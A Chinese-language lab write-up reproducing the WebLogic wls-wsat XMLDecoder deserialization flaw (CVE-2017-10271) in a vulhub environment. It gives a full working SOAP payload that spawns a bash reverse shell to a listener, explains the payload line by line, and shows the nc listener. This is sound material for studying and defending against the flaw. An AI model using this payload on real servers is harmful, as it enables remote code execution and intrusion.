vulhub-Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞漏洞复现(CVE-2017-10271)
漏洞描述
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
漏洞网址
影响版本
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
环境安装路径
1:环境初始化
2:按照提示打开如下页面,404界面
3.然后将url变更为下列代码,然后使用bp抓包
http://10.9.75.11:7002/wls-wsat/CoordinatorPortType
再把抓到的包,按如下的代码复制,并对反弹sheel的ip更改为kali源码。然后点击发送。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.9.75.11/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
解析:
soapenv:Envelope 元素定义了整个 SOAP 消息的开始和结束。
soapenv:Header 元素包含了与 SOAP 消息相关的头信息。在这个案例中,它包含了一个名为 WorkContext 的命名空间。
work:WorkContext 元素包含了一个名为 java 的子元素,用于指定一个有效的 Java 类。
在 <java> 元素中,<void class="java.lang.ProcessBuilder"> 表示要创建一个进程构建器对象。
<array class="java.lang.String" length="3"> 表示进程构建器将被配置成运行一个由三个字符串组成的命令数组。
<void index="0"><string>/bin/bash</string></void> 表示第一个字符串是 "/bin/bash",也就是要执行的程序路径。
<void index="1"><string>-c</string></void> 表示第二个字符串是 "-c",也就是告诉 Bash 解释器该执行一个命令字符串。
<void index="2"><string>bash -i >& /dev/tcp/10.9.75.11/21 0>&1</string></void> 表示第三个字符串是要执行的命令,在这里是一个 Bash 反向 shell,连接到远程主机的 21 端口。
<void method="start"/> 指示该进程构建器对象应启动一个新进程来执行此命令。
soapenv:Body/ 表示 SOAP 消息的主体部分为空
然后打开kali,输入代码,这里成功抓到sheel。
nc -lvp 21 // 21为反弹sheel的开放端口
输入ls -al显示目录下的所有文件夹及文本文档。(这里成功反弹,并获取sheel)
参考